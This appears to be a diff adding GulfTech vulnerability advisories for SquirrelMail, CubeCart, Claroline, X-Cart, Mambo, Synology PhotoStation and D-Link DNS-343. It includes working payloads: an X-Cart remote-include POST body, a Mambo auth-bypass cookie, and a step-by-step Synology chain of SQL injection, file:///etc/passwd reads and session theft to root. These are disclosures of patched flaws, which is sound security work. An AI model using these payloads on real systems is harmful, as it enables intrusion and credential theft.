|
||||
//
|
||||
$session_expired_post = $_POST;
|
||||
$session_expired_location = $PHP_SELF;
|
||||
if (!sqsession_is_registered('session_expired_post')) {
|
||||
sqsession_register($session_expired_post,'session_expired_post');
|
||||
}
|
||||
if (!sqsession_is_registered('session_expired_location')) {
|
||||
sqsession_register($session_expired_location,'session_expired_location');
|
||||
}
|
||||
|
||||
// signout page will deal with users who aren't logged
|
||||
// in on its own; don't show error here
|
||||
//
|
||||
if (strpos($PHP_SELF, 'signout.php') !== FALSE) {
|
||||
return;
|
||||
}
|
||||
|
||||
The above is executed on most pages as part of the authentication schema. It is fairly easy to see that an attacker can ultimately control the value of $_SESSION['session_expired_post'] by supplying a "post" to SquirrelMail containing whatever variables they would like to overwrite. The above code may be unsafe, but in itself is not vulnerable. To see where the vulnerability takes place we must look at compose.php lines 294 - 319
|
||||
if (sqsession_is_registered('session_expired_post')) {
|
||||
sqgetGlobalVar('session_expired_post', $session_expired_post, SQ_SESSION);
|
||||
/*
|
||||
* extra check for username so we don't display previous post data from
|
||||
* another user during this session.
|
||||
*/
|
||||
if ($session_expired_post['username'] != $username) {
|
||||
unset($session_expired_post);
|
||||
sqsession_unregister('session_expired_post');
|
||||
session_write_close();
|
||||
} else {
|
||||
foreach ($session_expired_post as $postvar => $val) {
|
||||
if (isset($val)) {
|
||||
$$postvar = $val;
|
||||
} else {
|
||||
$$postvar = '';
|
||||
}
|
||||
}
|
||||
$compose_messages = unserialize(urldecode($restoremessages));
|
||||
sqsession_register($compose_messages,'compose_messages');
|
||||
sqsession_register($composesession,'composesession');
|
||||
if (isset($send)) {
|
||||
unset($send);
|
||||
}
|
||||
$session_expired = true;
|
||||
}
|
||||
|
||||
In the above code we see a foreach loop that dynamically evaluates all the elements of $_SESSION['session_expired_post'] but first a check is done to make sure the username stored in $_SESSION['session_expired_post'] is the same as the currently logged in user. For an attacker this check is easy to bypass because all the data contained in $_SESSION['session_expired_post'] is supplied by the attacker. From here an attacker can now overwrite any variable which leads to a number of possible attack vectors.
|
||||
|
||||
|
||||
Solution:
|
||||
SquirrelMail 1.4.8 has been released to address these issues. I would like to thank Thijs Kinkhorst and the rest of the SquirrelMail team for a prompt resolution to this issue
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
58
exploits/php/webapps/43840.txt
Normal file
58
exploits/php/webapps/43840.txt
Normal file
|
@ -0,0 +1,58 @@
|
|||
CubeCart Multiple Vulnerabilities
|
||||
|
||||
Vendor: Devellion Limited
|
||||
Product: CubeCart
|
||||
Version: <= 3.0.12
|
||||
Website: http://www.cubecart.com
|
||||
|
||||
BID: 19782
|
||||
CVE: CVE-2006-4525
|
||||
OSVDB: 28279 28280 28281
|
||||
SECUNIA: 21659
|
||||
|
||||
Description:
|
||||
CubeCart is a very popular web application written in php that allows for an individual to open up a fully functioning online ecommerce service. Unfortunately CubeCart is vulnerable to Cross Site Scripting attacks, SQL Injection attacks, and possible remote code execution due to an attacker being able to include arbitrary php code. An updated version of CubeCart has been released and all users are encouraged to upgrade as soon as possible.
|
||||
|
||||
|
||||
SQL injection:
|
||||
There is an SQL injection in CubeCart due to an uninitialized array being used in an sql query. Let's have a look at a section of the vulnerable code from viewCat.inc.php
|
||||
$searchwords = split ( "[ ,]", treatGet($_GET['searchStr']));
|
||||
foreach($searchwords as $word){
|
||||
$searchArray[]=$word;
|
||||
}
|
||||
|
||||
$noKeys = count($searchArray);
|
||||
$like = "";
|
||||
for ($i=0; $i<$noKeys;$i++) {
|
||||
|
||||
$ucSearchTerm = strtoupper($searchArray[$i]);
|
||||
if(($ucSearchTerm!=="AND") && ($ucSearchTerm!=="OR")){
|
||||
$like .= "(name LIKE '%".$searchArray[$i]."%' OR description LIKE '%".$searchArray[$i]."%' OR
|
||||
productCode LIKE '%".$searchArray[$i]."%') OR ";
|
||||
|
||||
As seen in the above code, the searchArray array is never initialized, thus allowing an attacker to inject arbitrary elements into the array. To exploit this issue all an attacker would have to do is append searchArray[]=SQL to their search request. Of course an attacker would need to replace "SQL" with a valid SQL Statement.
|
||||
|
||||
|
||||
Cross Site Scripting:
|
||||
There is also a cross site scripting issue in cube cart due to an uninitialized array being used. The "links" array is never initialized, and an attacer may use this to inject arbitrary html or javascript into the rendered template thus allowing for cross site scripting attacks. It should be noted that register globals must be on in order to exploit this issue.
|
||||
|
||||
|
||||
Arbitrary File Inclusion:
|
||||
There is a very dangerous file inclusion issue that can be used to remotely execute code on a target system as long as magic quotes gpc is disabled (the default php setting). This is due to the improper use of a regular expression in order to validate the vulnerable variable. Below i code from the vulnerable file named gateway.inc.php
|
||||
// sanitise gateway variable
|
||||
if($basket == TRUE && isset($_POST['gateway']) && eregi("[0-9a-z_-]",$_POST['gateway'])) {
|
||||
|
||||
//$basket = $cart->setVar($basket['shipCost'],"shipCost");
|
||||
$basket = $cart->setVar($_POST['gateway'],"gateway");
|
||||
|
||||
include("modules/gateway/".$_POST['gateway']."/transfer.inc.php");
|
||||
|
||||
The above regular expression actually only checks for the prescence of alphanumeric (dashes and underscores also) characters in the "gateway" variable. So, as long as an attacker doesn't specify a string consisting of only illegal characters then the vulnerability is possible to exploit. Successful exploitation allows for remote php code execution via the inclusion of arbitrary files.
|
||||
|
||||
|
||||
Solution:
|
||||
CubeCart were very quick to release an updated version, and users are encouraged to upgrade as soon as possible.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
47
exploits/php/webapps/43841.txt
Normal file
47
exploits/php/webapps/43841.txt
Normal file
|
@ -0,0 +1,47 @@
|
|||
Claroline Arbitrary File Inclusion
|
||||
|
||||
Vendor: Claroline
|
||||
Product: Claroline
|
||||
Version: <= 1.7.7
|
||||
Website: http://www.claroline.net/
|
||||
|
||||
BID: 20056
|
||||
CVE: CVE-2006-4844
|
||||
OSVDB: 28827
|
||||
SECUNIA: 21931
|
||||
|
||||
Description:
|
||||
Claroline is a popular online Open Source e-Learning application used to allow teachers or education organizations to create and administrate courses through the web. Claroline is also used as the framework for other e-Learning applications such as Dokeos. Unfortunately Claroline is vulnerable to a file inclusion issue when register globals is on which may allow for an attacker to read or execute arbitrary files. Some frameworks that use Claroline (such as Dokeos) are also vulnerable to the issues mentioned here. An updated version of Claroline has been released and users should upgrade immediately and disable register_globals if possible.
|
||||
|
||||
|
||||
Arbitrary File Inclusion:
|
||||
Claroline is vulnerable to an arbitray file inclusion issue that may allow for remote code execution. The vulnerability is due to an uninitialized array being used to include files. The vulnerable code in claro_init_local.inc.php can be seen below
|
||||
if (isset($extAuthSource) && is_array($extAuthSource))
|
||||
{
|
||||
foreach($extAuthSource as $thisAuthSource)
|
||||
{
|
||||
$_uid = include_once($thisAuthSource['newUser']);
|
||||
|
||||
if ( $_uid > 0 )
|
||||
{
|
||||
$uidReset = true;
|
||||
$claro_loginSucceeded = true;
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
$_uid = null;
|
||||
$claro_loginSucceeded = false;
|
||||
}
|
||||
}
|
||||
} //end if is_array($extAuthSource)
|
||||
|
||||
Unfortunately there is no authentication needed to exploit this issue, thus allowing an attacker to easily include files via the extAuthSource[newUser] variable.
|
||||
|
||||
|
||||
Solution:
|
||||
An updated version of Claroline has been released and users are encouraged to upgrade as soon as possible.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
37
exploits/php/webapps/43842.txt
Normal file
37
exploits/php/webapps/43842.txt
Normal file
|
@ -0,0 +1,37 @@
|
|||
X-Cart Arbitrary Variable Overwrite
|
||||
|
||||
Vendor: Qualiteam
|
||||
Product: X-Cart
|
||||
Version: <= 4.1.3
|
||||
Website: http://www.x-cart.com/
|
||||
|
||||
BID: 20108
|
||||
CVE: CVE-2006-4904
|
||||
OSVDB: 28957
|
||||
SECUNIA: 22005
|
||||
|
||||
Description:
|
||||
X-Cart is a commercial web based eCommerce solution written in PHP and MySQL that allows for webmasters to host an online marketplace. Unfortunately an attacker may be able to execute arbitrary php code on an X-Cart installation by overwriting key configuration variables. However, because the vulnerability allows for any variables to be overwritten other attacks such as SQL Injection are probably possible as well. Qualiteam have released an updated version of their X-Cart software, and users are strongly encouraged to upgrade as soon as possible or delete the cmpi.php script that resides within the payments directory.
|
||||
|
||||
|
||||
Arbitrary Variable Overwriting
|
||||
X-Cart comes with a number of payment processing scripts. Unfortunately the Cardinal payment processing script (cmpi.php) is vulnerable to arbitrary variable overwriting that allows for an attacker to conduct various attacks including arbitrary php code execution. Let's have a look at the vulnerable code in question.
|
||||
if ($HTTP_POST_VARS) {
|
||||
foreach ($HTTP_POST_VARS as $var => $value) {
|
||||
$$var = $value;
|
||||
}
|
||||
}
|
||||
|
||||
As we can see every single post variable is dynamically evaluated. This is especially dangerous because register globals and magic quotes gpc settings do not affect an attackers ability to overwrite key configuration variables.
|
||||
|
||||
stand_alone=0&httpsmod_active=1&orderids=1&close_frame=1&xcart_dir=http://shell
|
||||
|
||||
By sending a post request with the above variables set will automatically include an execute a remote arbitrary file on the vulnerable X-Cart installation, which in turn leads to remote php code execution on the underlying web server in most cases.
|
||||
|
||||
|
||||
Solution:
|
||||
The X-Cart team were very quick and professional in their response to this issue.An updated version of X-Cart has been released and users are encouraged to upgrade as soon as possible.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
49
exploits/php/webapps/43843.txt
Normal file
49
exploits/php/webapps/43843.txt
Normal file
|
@ -0,0 +1,49 @@
|
|||
Mambo SQL Injection
|
||||
|
||||
Vendor: Miro International Pty Ltd
|
||||
Product: Mambo
|
||||
Version: <= 4.5.4
|
||||
Website: http://www.mamboserver.com/
|
||||
|
||||
BID: 20366
|
||||
OSVDB: 50002
|
||||
|
||||
Description:
|
||||
Mambo is a popular Open Source Content Management System released under the GNU General Public license (GNU GPL). There are unfortunately some serious flaws in Mambo's login feature that allow for authentication bypass. This can be used to access arbitrary accounts, but even worse can be used to eventually install harmful modules and execute arbitrary php code on the server running Mambo. The Mambo team have committed fixes for these issues to SVN, and patches are available from the official Mambo website. Users are encouraged to patch the vulnerable functionality or update their Mambo installation as soon as possible.
|
||||
|
||||
|
||||
Authentication Bypass
|
||||
Mambo is vulnerable to an Authentication Bypass issue that is due to an SQL Injection in the login function. The SQL Injection is possible because the $passwd variable is only sanitized when it is not passed as an argument to the function.
|
||||
function login( $username=null,$passwd=null ) {
|
||||
global $acl;
|
||||
|
||||
$usercookie = mosGetParam( $_COOKIE, 'usercookie', '' );
|
||||
$sessioncookie = mosGetParam( $_COOKIE, 'sessioncookie', '' );
|
||||
if (!$username || !$passwd) {
|
||||
$username = trim( mosGetParam( $_POST, 'username', '' ) );
|
||||
$passwd = trim( mosGetParam( $_POST, 'passwd', '' ) );
|
||||
$passwd = md5( $passwd );
|
||||
$bypost = 1;
|
||||
}
|
||||
$remember = trim( mosGetParam( $_POST, 'remember', '' ) );
|
||||
|
||||
if (!$username || !$passwd) {
|
||||
echo "<script> alert(\""._LOGIN_INCOMPLETE."\"); window.history.go(-1); </script>\n";
|
||||
exit();
|
||||
} else {
|
||||
$username = $this->_db->getEscaped($username);
|
||||
$this->_db->setQuery( "SELECT id, gid, block, usertype"
|
||||
. "\nFROM #__users"
|
||||
. "\nWHERE username='$username' AND password='$passwd'"
|
||||
);
|
||||
|
||||
|
||||
As seen in the above code it is assumed that the $passwd variable is an md5 hash, but when sending a cookie with values like "usercookie[password]=%27 or 1=1/*; usercookie[username]=admin" the query is broken, and the password is never checked correctly. This issue would probably be limited to SQL Injection, but Mambo allows a user to change their password without knowing the original password. They just have to be logged in to the particular account that they want to change the password for. Using this strategy an attacker could login as the admin using the authentication bypass vulnerability, change the admin password, and then successfully log into the admin section where uploading arbitrary php code via the "install module" function.
|
||||
|
||||
|
||||
Solution:
|
||||
The Mambo development team have committed updates to SVN, and the patches can be obtained by visiting the official mambo website.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
375
exploits/php/webapps/43844.txt
Normal file
375
exploits/php/webapps/43844.txt
Normal file
|
@ -0,0 +1,375 @@
|
|||
Synology Photostation Multiple Vulnerabilities
|
||||
|
||||
Vendor: Synology
|
||||
Product: Synology Photostation
|
||||
Version: <= 6.7.2-3429
|
||||
Website: http://www.synology.com
|
||||
|
||||
|
||||
###########################################################################
|
||||
______ ____________ __
|
||||
/ ____/_ __/ / __/_ __/__ _____/ /_
|
||||
/ / __/ / / / / /_ / / / _ \/ ___/ __ \
|
||||
/ /_/ / /_/ / / __/ / / / __/ /__/ / / /
|
||||
\____/\__,_/_/_/ /_/ \___/\___/_/ /_/
|
||||
|
||||
GulfTech Research and Development
|
||||
|
||||
###########################################################################
|
||||
# Synology PhotoStation <= 6.7.2-3429 Multiple Vulnerabilities #
|
||||
###########################################################################
|
||||
|
||||
|
||||
Released Date: 2018-01-08
|
||||
Last Modified: 2017-07-22
|
||||
Company Info: Synology
|
||||
Version Info:
|
||||
Vulnerable
|
||||
Synology PhotoStation <= 6.7.2-3429
|
||||
|
||||
|
||||
--[ Table of contents
|
||||
|
||||
00 - Introduction
|
||||
00.1 Background
|
||||
|
||||
01 - SQL Injection
|
||||
01.1 - Vulnerable code analysis
|
||||
01.2 - Remote exploitation
|
||||
|
||||
02 - File Disclosure
|
||||
02.1 - Vulnerable code analysis
|
||||
02.2 - Remote exploitation
|
||||
|
||||
03 - Credit
|
||||
|
||||
04 - Proof of concept
|
||||
|
||||
05 - Solution
|
||||
|
||||
06 - Contact information
|
||||
|
||||
|
||||
--[ 00 - Introduction
|
||||
|
||||
The purpose of this article is to detail the research that I have completed
|
||||
regarding Synology PhotoStation. The issues I have discovered can be used
|
||||
in conjuction with one another to gain remote preauth root access to the
|
||||
affected Synology NAS device.
|
||||
|
||||
--[ 00.1 - Background
|
||||
|
||||
The Synology Diskstation NAS by default installs several DSM applications
|
||||
unless specified otherwise during setup. One of these default applications
|
||||
installed is PhotoStation. PhotoStation is a web based photo manager.
|
||||
|
||||
|
||||
--[ 01 - SQL Injection
|
||||
|
||||
There are a number of SQL Injection issues within the PhotoStation
|
||||
application. Since PhotoStation uses a PostgreSQL database exploitation is
|
||||
trivial since multiple statements can easily be injected.
|
||||
|
||||
--[ 01.1 - Vulnerable code analysis
|
||||
|
||||
Below is vulnerable code from /photo/include/blog/label.php which takes GPC
|
||||
data and uses it directly in an SQL query
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
if($_POST['action'] == 'get_all_labels') {
|
||||
echo SYNOBLOG_LABEL_GetLabelComboData($_POST['id']);
|
||||
} else if($_POST['action'] == "get_article_label" &&
|
||||
isset($_POST['article_id'])) {
|
||||
echo SYNOBLOG_LABEL_GetArticleRawLabel($_POST['article_id']);
|
||||
} else if($_POST['action'] == "get_invalid_labels") {
|
||||
echo SYNOBLOG_LABEL_GetInvalidLabels();
|
||||
}
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
Now let's have a look at any one of these functions.
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
function SYNOBLOG_LABEL_GetArticleRawLabel($article_id)
|
||||
{
|
||||
global $blog_str_article_label_none;
|
||||
|
||||
$query = "Select label_name from blog_article_label where article_id =
|
||||
".$article_id." order by label_name;";
|
||||
$db_result = PHOTO_DB_Query($query);
|
||||
|
||||
while(($row = PHOTO_DB_FetchRow($db_result))) {
|
||||
if($row[0] == "no_label") {
|
||||
continue;
|
||||
}
|
||||
$result[] = $row[0];
|
||||
}
|
||||
|
||||
return json_encode($result);
|
||||
}
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
As you can see from the above code the SQL injection is fairly straight
|
||||
forward as $article_id comes directly from the $_POST['article_id']
|
||||
variable. In addition to this SQL Injection is also an SQL Injection within
|
||||
the /photo/include/synotheme.php file within the SYNOTHEME_GET_BKG_PIC()
|
||||
function due to the "type" parameter never being sanitized.
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
function SYNOTHEME_GET_BKG_PIC($mode, $type)
|
||||
{
|
||||
$show_bkg_img_key = 'photo' === $type ? 'v6_show_bkg_img' :
|
||||
'show_bkg_img';
|
||||
if (null == $show_bkg_img = csSYNOPhotoMisc::GetConfigDB($mode,
|
||||
$show_bkg_img_key, $type . '_config')) {
|
||||
csSYNOPhotoMisc::UpdateConfigDB('theme', $show_bkg_img_key, '3',
|
||||
$type . '_config');
|
||||
$show_bkg_img = '3';
|
||||
}
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
In the above code the "type" variable is used to specify the table name
|
||||
within an SQL query. Unfortunately this "type" parameter is taken directly
|
||||
from GPC data and never sanitized. No authentication is needed to exploit
|
||||
either of the previously mentioned SQL Injection vulnerabilities.
|
||||
|
||||
--[ 01.2 - Remote exploitation
|
||||
|
||||
Exploiting this issue is trivial, and can be achieved by simply sending a
|
||||
post request containing a SQL Injection string within the "article_id"
|
||||
parameter.
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
POST /photo/include/blog/label.php HTTP/1.1
|
||||
Host: diskstation
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0)
|
||||
Accept: */*
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
Referer: http://diskstation/blog/
|
||||
Content-Length: 60
|
||||
Connection: close
|
||||
|
||||
action=get_article_label&article_id=1; SELECT version(); --
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
The above request would successfully return the version of the PostgreSQL
|
||||
database to the attacker. However, it is also possible to gain a remote
|
||||
root shell with a decent bit of work by using the following steps.
|
||||
|
||||
##[ STEP 00:
|
||||
First we have to leverage the SQL Injection to enable the PhotoStation
|
||||
authentication system. By default the PhotoStation application uses DSM to
|
||||
authenticate. We need to change this so that it uses PhotoStation to
|
||||
authenticate. This can be accomplished with the following query.
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
UPDATE photo_config SET config_value=0 WHERE config_key='account_system';
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
Now the PhotoStation authentication system should be successfully enabled
|
||||
and ready for use.
|
||||
|
||||
##[ STEP 01:
|
||||
|
||||
Once the PhotoStation authentication system is successfully enabled we can
|
||||
create an admin user and authenticate as this user to escalate our current
|
||||
privileges from PhotoStation admin to root.
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
INSERT INTO photo_user (userid, username, password, admin) VALUES (42,
|
||||
'test', '098f6bcd4621d373cade4e832627b4f6', TRUE);
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
We now can login as the admin user "test" with the password "test".
|
||||
|
||||
##[ STEP 02:
|
||||
|
||||
The next step is to create a "video" record with a malicious "path" value
|
||||
via SQL Injection. This "path" value holds the location of the file we want
|
||||
to disclose as the root user. The PhotoStation admin panel is fairly secure
|
||||
and does not give us many options for exploiting file handling issues.
|
||||
However, the PhotoStation application trusts the "path" data taken
|
||||
from the database when copying files, and does not validate it. We can
|
||||
leverage this lack of sanity checks to copy any files we want as root to
|
||||
the default photo directory.
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
INSERT INTO video (id, path, title, container_type) VALUES (42,
|
||||
'/usr/syno/etc/private/session/current.users', 'test', 'test');
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
The above record inserted would allow an attacker to copy the sessions db
|
||||
to the default photo directory once a file copy operation is triggered by
|
||||
the album_util.php script. This is because the copy and move operations use
|
||||
the "path" data taken from the database as the source argument. This file
|
||||
will be copied with root permissions by the "synphotoio" binary.
|
||||
|
||||
##[ STEP 03:
|
||||
|
||||
The next step for us is to trigger a file copy operation via album_util.php
|
||||
where our malicious "path" value will be used by the "synphotoio" binary to
|
||||
make a copy of the file as root in the default photo directory.
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
POST /photo/include/photo/album_util.php HTTP/1.1
|
||||
Host: diskstation
|
||||
User-Agent: Mozilla/5.0
|
||||
Accept: */*
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
X-SYNO-TOKEN: ambru48o5nm3kpcla82j1b98s4
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
Referer: http://diskstation/photo/
|
||||
Content-Length: 45
|
||||
Cookie: stay_login=1; PHPSESSID=c4kclpg4j3bndcpuq4pvs9of10;
|
||||
Connection: close
|
||||
|
||||
action=copy_items&video_list=42&destination=2f
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
The above request will successfully copy the user sessions database to the
|
||||
default photo directory. We just have to make sure the "video_list" ID
|
||||
corresponds to the ID that we previously inserted into the database so that
|
||||
the "path" data we specified will be used in the file copy operation.
|
||||
|
||||
##[ STEP 04:
|
||||
|
||||
For the next step we have to be slick and use a file handling bug in the
|
||||
file_upload.php script to copy the file disclosed by root to the web
|
||||
directory for viewing. The only reason we are able to accomplish this is
|
||||
because we're allowed to specify the full URL sent to a file_get_contents()
|
||||
call. We could also use this bug to read any file that the web server has
|
||||
access to. But, for now we will just copy the file we recently disclosed as
|
||||
root since these particular file handling operations take place as an
|
||||
unprivileged user and would limit the attacker impact greatly.
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
POST /photo/include/file_upload.php?dir=2f2e2e2f4061707073746f72652f50686f7
|
||||
46f53746174696f6e2f70686f746f2f&name=1/&fname=pwn&sid=ambru48o5nm3 HTTP/1.1
|
||||
Host: diskstation
|
||||
User-Agent: Mozilla/5.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Cookie: PHPSESSID=ambru48o5nm3; photo_remember_me=1
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 57
|
||||
|
||||
action=aviary_add&url=file:///volume1/photo/current.users
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
As you can see from the above request we are allow to specify a file:// URL
|
||||
and as a result copy the disclosed sessions db to the web directory as a
|
||||
file named pwn.jpg and view all admin sessions. If it was not for this file
|
||||
handling bug in file_upload.php an attacker would have to access the file
|
||||
via SMB or some other method thus making the attack much more complicated.
|
||||
|
||||
##[ STEP 05:
|
||||
|
||||
Once we have the sessions database we now have the session ID and IP
|
||||
addresses of administrators. We can use this information to now login to
|
||||
the DSM as an admin. It is possible to use headers such as "Client-IP" to
|
||||
successfully forge the IP address of the stolen session data. So, the fact
|
||||
that sessions are restricted by IP address does not really matter at all in
|
||||
this particular case.
|
||||
|
||||
At this point it is game over as DSM admin users are able to run commands
|
||||
as root and have complete and total access to the entire system.
|
||||
|
||||
|
||||
--[ 02 - File Disclosure
|
||||
|
||||
PhotoStation is vulnerable to a file disclosure issue. This issue is due to
|
||||
an unsafe file_get_contents() call within the SYNOPHOTO_AVIARY_Add()
|
||||
function that allows an attacker to specify the full URL used.
|
||||
|
||||
--[ 01.1 - Vulnerable code analysis
|
||||
|
||||
Below is vulnerable code from /photo/include/file_upload.php which makes
|
||||
use of a user supplied URL to populate the contents of $image_data.
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
$image_data = file_get_contents($_REQUEST['url']);
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
The above code allows authenticated users to easily disclose file contents
|
||||
with the privilege of the web server, or to possibly conduct SSRF attacks
|
||||
against the internal network.
|
||||
|
||||
--[ 01.2 - Remote exploitation
|
||||
|
||||
Exploiting the issue requires user authentication, but other than that it
|
||||
is fairly trivial to take advantage of. Also, it should be noted that the
|
||||
required authentication can be acquired by using the previously mentioned
|
||||
SQL Injection issues in order to create arbitrary user accounts.
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
POST /photo/include/file_upload.php?dir=2f2e2e2f4061707073746f72652f50686f7
|
||||
46f53746174696f6e2f70686f746f2f&name=1/&fname=pwn&sid=ambru48o5nm3 HTTP/1.1
|
||||
Host: diskstation
|
||||
User-Agent: Mozilla/5.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Cookie: PHPSESSID=ambru48o5nm3; photo_remember_me=1
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 57
|
||||
|
||||
action=aviary_add&url=file:///etc/passwd
|
||||
|
||||
---------------------------------------------------------------------------
|
||||
|
||||
The above request would successfully copy the contents of the passwd file
|
||||
to http://diskstation/photo/pwn.jpg where it's contents could be viewed by
|
||||
the attacker.
|
||||
|
||||
|
||||
--[ 03 - Credit
|
||||
|
||||
James Bercegay
|
||||
GulfTech Research and Development
|
||||
|
||||
|
||||
--[ 04 - Proof of concept
|
||||
|
||||
We strive to do our part to contribute to the security community.
|
||||
Metasploit modules for issues outlined in this paper can be found online.
|
||||
|
||||
|
||||
--[ 05 - Solution
|
||||
|
||||
These issues were addressed in update 6.7.3-3432
|
||||
|
||||
--[ 06 - Contact information
|
||||
|
||||
Web
|
||||
https://gulftech.org/
|
||||
|
||||
Mail
|
||||
security@gulftech.org
|
||||
|
||||
|
||||
Copyright 2018 GulfTech Research and Development. All rights reserved.
|
166
exploits/php/webapps/43845.txt
Normal file
166
exploits/php/webapps/43845.txt
Normal file
|
@ -0,0 +1,166 @@
|
|||
D-Link DNS-343 ShareCenter Remote Root
|
||||
|
||||
Vendor: D-Link
|
||||
Product: D-Link DNS-343 ShareCenter
|
||||
Version: <= 1.05
|
||||
Website: http://sharecenter.dlink.com/products/DNS-343
|
||||
|
||||
|
||||
###########################################################################
|
||||
______ ____________ __
|
||||
/ ____/_ __/ / __/_ __/__ _____/ /_
|
||||
/ / __/ / / / / /_ / / / _ \/ ___/ __ \
|
||||
/ /_/ / /_/ / / __/ / / / __/ /__/ / / /
|
||||
\____/\__,_/_/_/ /_/ \___/\___/_/ /_/
|
||||
|
||||
GulfTech Research and Development
|
||||
|
||||
###########################################################################
|
||||
# D-Link DNS-343 ShareCenter <= 1.05 Command Injection #
|
||||
###########################################################################
|
||||
|
||||
|
||||
Released Date: 2017-01-15
|
||||
Last Modified: 2017-06-22
|
||||
Company Info: D-Link
|
||||
Version Info:
|
||||
Vulnerable
|
||||
D-Link DNS-343 ShareCenter <= 1.05
|
||||
|
||||
|
||||
--[ Table of contents
|
||||
|
||||
00 - Introduction
|
||||
00.1 Background
|
||||
|
||||
01 - Command Injection
|
||||
01.1 - Vulnerable code analysis
|
||||
01.2 - Remote exploitation
|
||||
|
||||
02 - Credit
|
||||
|
||||
03 - Proof of concept
|
||||
|
||||
04 - Solution
|
||||
|
||||
05 - Contact information
|
||||
|
||||
|
||||
--[ 00 - Introduction
|
||||
|
||||
The purpose of this article is to detail the research that I have recently
|
||||
completed regarding the D-Link DNS 343 ShareCenter.
|
||||
|
||||
--[ 00.1 - Background
|
||||
|
||||
The D-Link ShareCenter 4-Bay Network Storage Enclosure (DNS-343) connects
|
||||
to your network instead of to a computer so everyone on your network can
|
||||
back up content to one central location. Plus, it lets you share your
|
||||
stored content across your network and over the Internet so family members,
|
||||
friends and employees can access it no matter where they are.
|
||||
|
||||
|
||||
--[ 01 - Command Injection
|
||||
|
||||
Within the DNS-343 web directory is a folder named "maintenance" that
|
||||
contains a number of ASP scripts that are related to maintenance tasks that
|
||||
can be performed. The script by the name of "test_mail.asp" caught my
|
||||
attention, and that is what we will focus on for now.
|
||||
|
||||
--[ 01.1 - Vulnerable code analysis
|
||||
|
||||
The DNS-343 utilizes the goAhead web server, which contains a functionality
|
||||
called goForms, which basically stores CGI in memory. This is important to
|
||||
know as the previously mentioned "test_mail.asp" posts directly to the
|
||||
"/goform/Mail_Test" endpoint. Code for this particular goForm can be found
|
||||
within the "webs" binary.
|
||||
|
||||
int __fastcall sub_27D24(int a1)
|
||||
{
|
||||
int v1; // r4@1
|
||||
int *v2; // r10@1
|
||||
char *v3; // r8@1
|
||||
char *v4; // r6@1
|
||||
char *v5; // r5@1
|
||||
char *v6; // r7@1
|
||||
int v7; // r12@1
|
||||
char *v8; // r0@4
|
||||
char *v10; // [sp+10h] [bp-230h]@1
|
||||
char *v11; // [sp+14h] [bp-22Ch]@1
|
||||
char s; // [sp+18h] [bp-228h]@4
|
||||
|
||||
v1 = a1;
|
||||
v2 = &dword_8D968;
|
||||
v3 = sub_4D340(a1, (int)"f_auth", &byte_7F4B4);
|
||||
v11 = sub_4D340(v1, (int)"f_username", &byte_7F4B4);
|
||||
v10 = sub_4D340(v1, (int)"f_password", &byte_7F4B4);
|
||||
v4 = sub_4D340(v1, (int)"f_smtpserver", &byte_7F4B4);
|
||||
v5 = sub_4D340(v1, (int)"f_sender", &byte_7F4B4);
|
||||
v6 = sub_4D340(v1, (int)"f_sendto", &byte_7F4B4);
|
||||
system("rm /tmp/email_*");
|
||||
v7 = (unsigned __int8)*v3 - 49;
|
||||
if ( *v3 == 49 )
|
||||
v7 = (unsigned __int8)v3[1];
|
||||
if ( v7 )
|
||||
{
|
||||
sprintf(&s, "email -h %s -p 25 -a 0 -s %s -d %s -t", v4, v5, v6);
|
||||
v2 = &dword_8D968;
|
||||
v8 = &s;
|
||||
}
|
||||
else
|
||||
{
|
||||
sprintf(&s, "email -h %s -p 25 -a 1 -u %s -w %s -s %s -d %s -t", v4,
|
||||
v11, v10, v5, v6);
|
||||
v8 = &s;
|
||||
}
|
||||
*v2 = system(v8);
|
||||
*v2 = sub_27C80();
|
||||
